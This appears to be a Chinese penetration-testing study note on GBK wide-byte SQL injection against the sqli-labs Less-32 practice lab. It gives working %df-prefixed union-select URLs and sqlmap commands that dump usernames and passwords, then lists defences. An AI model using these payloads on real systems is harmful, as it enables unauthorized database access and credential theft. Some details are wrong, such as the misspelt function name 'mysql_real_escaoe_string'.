学习笔记-渗透测试-SQL注入_009_宽字节注入

在一些特定的场景,常规语句不能直接进行注入,但是因为程序代码开发存在一些瑕疵,我们可以使用PHP的一些特性进行注入,比如这次的宽字节注入

1 宽字节注入原理

1.1 什么是宽字节?

如果一个字符其大小为1个字节的称为窄字节,如果为两个字符的就被称为宽字节

一个字节有八个bit,有255种组成方式,英文由于只有24个字符所以1个字节就够用了,而中文汉字字符数量就太多了,所以默认都是两个字节

韩文日文也需要使用两个字符来表示

GB2312、GBK、GB18030、BIG5、Shift_JIS等都是常见的宽字节(2字节)

1.2 宽字节注入

比如说我们现在要查询当前数据库

http://192.168.101.200/Less-32/?id=-1' union select 1,2,(select database()) --+

但是,随着SQL注入越发广为人知,程序员们会使用很多方法来防止SQL注入的发送

最初都是使用的简单的转义,比如把id=-1''转义为\',就能破坏闭合,导致注入不能执行,比如在32关中就是使用这种方式,让直接进行联合查询已经不会起作用

image-20200818163503113

我们来看一下32关源代码

image-20200818163050588

32关已经对SQL注入的情况有了一些防护,在第二部让特殊的字符做了一下替换,会让输入变多了一个\,并且我们也在第三步知道了数据库连接的时候使用了gbk编码

http://192.168.101.200/Less-32/?id=-1\' union select 1,2,(select database()) --+

我们就要想办法把\消灭掉

在Http传输的时候,符号是会经过一次编码的,上述语句编码后就是这样

http://192.168.101.200/Less-32/?id=-1\%27%20union%20select%201,2,(select%20database())%20--+

在Mysql使用GBK编码的时候,如果前一个字符的编码大于了128后面还跟了一个字符编码的话,则会认为这两个字符编码是一个汉字值

http://192.168.101.200/Less-32/?id=%df' union select 1,2,(select database()) --+

所以前面加%df,来让GBK编码认为%df+\是一个中文汉字达到绕过的目的

image-20200818163659050

1.3 测试方案

1.3.1 黑盒测试

在可能的注入点后键入%df,之后进行注入测试

1.3.2 白盒测试

  1. 查看Mysql编码是否为GBK

  2. 是否使用preg_replace把单引号替换成\'

  3. 是否使用addslashes进行转义

  4. 是否使用mysql_real_escaoe_string进行转义

    mysql_real_escaoe_string原本就是用于抵抗宽字节转义的,他在转义特殊字符的情况时,也会考虑当前连接的字符集,但是在部分场景还是不能抵抗,因为程序没有指定连接PHP_Mysql的字符集

2 手工注入

2.1 查询当前用户

http://192.168.101.200/Less-32/?id=%df' union select 1,2,(select user()) --+

image-20200818163912126

2.2 查询表名

http://192.168.101.200/Less-32/?id=%df' union select 1,2,(select table_name from information_schema.tables where table_schema=database() limit 3,1) --+

image-20200818164338320

2.3 查询列名

http://192.168.101.200/Less-32/?id=%df' union select 1,2,(select column_name from information_schema.columns where table_name=0x7573657273 limit 5,1) --+

image-20200818164542320

2.4 查询数据

http://192.168.101.200/Less-32/?id=%df' union select 1,2,(select concat(username,1,password) from security.users limit 0,1) --+

image-20200818164917507

3 sqlmap注入

我们首先直接使用sqlmap进行测试

python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1"

返回结果id不可注入

image-20200818165647602

我们提前在后面加一个%df

python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1%df"

image-20200818170001059

也可以取数据

3.1 查询当前用户

python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1%df" --current-user

image-20200818170042000

3.2 查询当前数据库

python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1%df" --current-db

image-20200818170112142

3.3 查询数据表信息

python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1%df" -D security --tables

image-20200818170317700

3.4 查询列信息

python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1%df" -D security -T users --columns

image-20200818170522180

3.5 查询用户信息

python sqlmap.py -u "http://192.168.101.200/Less-32/?id=1%df" -D security -T users -C username,password --dump

image-20200818170726620

4 宽字节防御

  1. 使用utf-8编码,避免宽字节注入

    宽字节注入不止是gbk中,韩文、日文等都是宽字节,都有可能存在宽字节注入

  2. 使用mysql_real_escaoe_string,使用的时候要加上mysql_set_charset('gbk',$conn);

  3. 可以设置mysql的连接参数,character_set_client=binary

    image-20200818171914811

posted @ 2023-02-26 23:11  kinghtxg  阅读(83)  评论(0编辑  收藏  举报